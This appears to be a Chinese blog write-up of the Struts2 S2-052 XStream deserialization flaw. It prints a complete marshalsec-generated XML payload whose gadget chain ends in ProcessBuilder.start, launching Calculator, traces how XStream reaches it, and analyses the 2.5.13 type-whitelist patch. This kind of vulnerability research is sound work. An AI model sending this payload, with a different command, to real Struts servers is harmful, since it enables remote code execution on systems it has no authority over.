s2-052 漏洞解析和补丁分析

问题复现

9月5号,在北京出差的时候,就听到群里大师傅们在讨论s2-052,当时根据官方链接,作者说的很清楚,在XStreamHandler函数toObject中,在进行xml转object的时候,没有任何的防御措施,导致可以直接反序列化。由于酒店的网太烂了,maven依赖一直下载不下来,回到公司后一切顺利地可以进行。本来当网就想调试分析一下的,但是关于XStream的用法,可以参考http://www.cnblogs.com/m3Lee/p/3820832.html?utm_source=tuicool&utm_medium=referral,可以这么理解,XStream这个东西就是为了将xml和java对象之间转换的工具。至于为什么要将java对象转换成xml,答案是为了方便存储,和writeObject类似的效果,只不过writeObject将对象保存为一个反序列化格式的文件, XStream将对象保存为xml格式。
找到https://github.com/mbechler/marshalsec,将其下载下来,根据is_win师傅给的生成payload当时,我们传入两个参数,分别为ImageIO, /Applications/Calculator.app/Contents/MacOS/Calculator。 对marshalsec项目下断点分析,可以看到最后形成的poc 如下:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

很熟悉的格式,我们可以反推,当调用xstream.fromXML进行解析xml的时候,该对象会有字段ProcessBuilder,最后反序列化的时候大概会是这个效果。

new ProcessBuilder("Applications/Calculator.app/Contents/MacOS/Calculator").start()

跟进ProcessBuilder类,发现了commond字段 那么其和xml的中的节点

<command>
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                      </command>

可以匹配起来了,至此可以弹出计算器。
跟踪原作者的提示,我在toObject处下断点。整个堆栈调试情况如下:
可以清晰的看到,在ContentTypeInterceptor类中,首先判断了请求body的长度,并且将其交由XStreamHandler做toObject处理。 继续跟进到xstream.fromXML 这个函数,以便于我们深刻理解xstream到底是怎么将一个xml解析的。跟进XStream类中的fromXML,发现其调用了unmarshal函数,经过层层跟进我们最终来到了MapConverter类中的unmarshal函数, Xstream将xml数据解析并放到一个map里面。 某处关键代码如下

protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
        reader.moveDown();
        Object key = this.readItem(reader, context, map);
        reader.moveUp();
        reader.moveDown();
        Object value = this.readItem(reader, context, map);
        reader.moveUp();
        target.put(key, value);
    }

经过测试,在readItem的时候弹出了计算器,跟进这个函数。其中代码入下

 protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

其中HierarchicalStreams.readClassType(reader, this.mapper())为根据字符jdk.nashorn.internal.objects.NativeString获取到其具体的对象。 经过持续的跟进,发现callReadResolve函数入下
java反射机制。整个操作流程细节比较复杂,总结起来如下: xml先提取节点,解析到map 迭代器继续解析节点 反射机制执行恶意代码

补丁分析

我调试struts2-rest-plugin插件的版本为2.5.12(影响版本参考https://struts.apache.org/docs/s2-052.html),我将依赖改成版本不受影响的2.5.13,这里把两个版本的源码diff一下。发现在createXStream的时候做了一些安全防护。其中新增了一个函数 http://x-stream.github.io/security.html。其中这段描述很清楚 XStream提供了一些TypePermission实现,允许任何类型或任何类型,以允许原始类型及其对应,空值,数组类型,实现通过常规或通配符表达式匹配类型的名称,一个用于反转权限。 添加了xml可以反序列化的类,当解析到jdk.nashorn.internal.objects.NativeString的时候,由于没通过permission.allows的时候,无法正常return,直接抛出一个异常,终止整个过程。

 public Class realClass(String elementName) {
        Class type = super.realClass(elementName);

        for(int i = 0; i < this.permissions.size(); ++i) {
            TypePermission permission = (TypePermission)this.permissions.get(i);
            if(permission.allows(type)) {
                return type;
            }
        }

        throw new ForbiddenClassException(type);
    }
}

后面也就不会去解析之行了。至此,整个过程分析完毕。

参考资料

http://x-stream.github.io/security.html

 拓展学习

http://www.freebuf.com/vuls/147017.html